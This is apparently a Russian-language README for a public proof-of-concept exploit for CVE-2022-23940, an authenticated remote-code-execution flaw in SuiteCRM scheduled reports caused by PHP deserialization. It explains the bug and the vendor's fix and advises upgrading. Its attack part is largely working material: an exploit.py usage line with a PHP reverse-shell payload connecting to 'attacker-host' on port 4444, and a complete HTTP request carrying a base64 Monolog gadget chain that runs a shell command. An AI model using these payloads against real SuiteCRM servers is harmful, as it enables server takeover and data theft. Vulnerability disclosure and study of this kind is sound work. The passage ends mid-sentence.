
PoC for CVE-2022-23940
PoC для CVE-2022-23940, также известной как SCRMBT-#187 – аутентифицированное удалённое выполнение кода через запланированные отчёты в SuiteCRM (<= 7.12.4) и SuiteCRM-Core (<= 8.0.3).
Эта уязвимость была сообщена SalesAgility и исправлена в SuiteCRM 7.12.5 и SuiteCRM Core 8.0.4. В затронутых версиях любой пользователь с разрешением на создание запланированных отчётов может получить удалённое выполнение кода и скомпрометировать сервер. Если вы используете старые версии SuiteCRM, настоятельно рекомендую обновиться.
Установка
python3 и pip.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"Доступные опции:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
Пример использования:
# Запуск PHP Reverse Shell на атакующий хост на порт 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Пользователи, которые могут создавать Запланированные отчёты (могут создавать записи в модуле AOR_Scheduled_Reports), могут выполнить произвольный код на сервере, используя уязвимость десериализации PHP.
Модуль AOR_Scheduled_Reports хранит получателей email-уведомлений об отчётах в виде сериализованных строк в кодировке base64. При получении данных запланированного отчёта указанный столбец десериализуется. Если злоумышленнику удаётся вставить произвольное содержимое в этот столбец, он может добиться RCE с помощью различных гаджетов десериализации PHP (в моих тестах я использовал Monolog/RCE2 из инструмента phpggc).
Полезная нагрузка может быть сохранена в базе данных с помощью устаревшего вызова сохранения модуля AOR_Scheduled_Reports. Сервер ошибочно предполагает, что параметр email_recipients всегда является массивом. Однако если вредоносный клиент передаёт email_recipients как строку, данные будут сохранены в БД как есть. После десериализации гаджеты выполняются на сервере, и мы получаем удалённое выполнение кода.
Уязвимая реализация функции save в классе AOR_Scheduled_Reports. Далее видно, что get_email_recipients вызывает unserialize для содержимого, хранящегося в базе данных:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
Пример запроса для создания такого вредоносного запланированного отчёта (если декодировать значение email_recipients, можно увидеть, что оно выполняет touch /tmp/hacked):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
Если посмотреть на исправленный код, можно заметить, что разработчики добавили новую функцию parseRecipients, которая анализирует и проверяет данные, хранящиеся в параметре email_recipients, перед сохранением в базу данных. Данные сохраняются только в том случае, если значение соответствует ожидаемому формату. Поэтому десериализация для RCE больше не работает:
